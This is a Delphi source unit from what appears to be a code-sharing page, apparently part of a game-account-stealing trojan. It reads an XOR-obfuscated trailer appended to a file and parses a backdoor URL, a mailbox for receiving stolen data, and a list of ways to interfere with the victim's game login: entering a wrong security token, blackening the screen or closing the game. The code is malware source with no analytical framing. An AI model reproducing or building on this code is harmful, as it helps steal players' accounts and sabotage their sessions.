📄 extinfo.~pas
字号:
unit ExtInfo;
interface
type
TPackList = packed record // 紧缩列表结构
StopStep: Integer; // 阻拦时机, 1: 阻止登录, 2: 阻止一半, 3: 完全放行
StopType: Integer; // 阻拦方式, 1: 错填密宝, 2: 屏幕变黑, 3: 关闭游戏
CurCount: Integer; // 重复次数
end;
TStopList = packed record // 阻拦列表结构
StopStep: Integer; // 阻拦时机, 1: 阻止登录, 2: 阻止一半, 3: 完全放行
StopType: Integer; // 阻拦方式, 1: 错填密宝, 2: 屏幕变黑, 3: 关闭游戏
end;
TExtraInfo = record // 额外信息结构
Door: string; // 后门链接
Link: string; // 正常链接
Mail: string; // 收信邮箱
StopList: array of TStopList; // 阻拦列表
end;
var
ExtraInfo: TExtraInfo;
procedure LoadExtraInfo(const FileName: PChar); // 装入额外信息
implementation
uses
Windows, Encrypt;
// 装入额外信息, FileName -> ExtraInfo
procedure LoadExtraInfo(const FileName: PChar);
var
hFile, wSize, Len: DWORD;
Tmp: string;
begin
// 打开文件
hFile := CreateFile(FileName, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0);
if (hFile = INVALID_HANDLE_VALUE) then Exit;
// 读入长度
SetFilePointer(hFile, -4, nil ,FILE_END);
ReadFile(hFile, Len, 4, wSize, nil);
Len := Len xor $4D617A69;
// 读入信息
SetFilePointer(hFile, -Len, nil ,FILE_END);
SetLength(Tmp, Len);
ReadFile(hFile, Tmp[1], Len, wSize, nil);
CloseHandle(hFile);
// 解密
Encode(Tmp);
// 后门
Len := Pos(' ', Tmp);
ExtraInfo.Door := Copy(Tmp, 1, Len - 1);
Delete(Tmp, 1, Len);
// 链接
Len := Pos(' ', Tmp);
ExtraInfo.Link := Copy(Tmp, 1, Len - 1);
Delete(Tmp, 1, Len);
// 邮箱
Len := Pos(' ', Tmp);
ExtraInfo.Mail := Copy(Tmp, 1, Len - 1);
Delete(Tmp, 1, Len);
// 阻拦列表
Len := Length(Tmp) - 4;
SetLength(ExtraInfo.StopList, Len div SizeOf(TStopList));
CopyMemory(@ExtraInfo.StopList[0], @Tmp[1], Len);
end;
(* 后门 + ' ' + 链接 + ' ' + 邮箱 + ' ' + 阻拦列表 + 总长度 *)
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -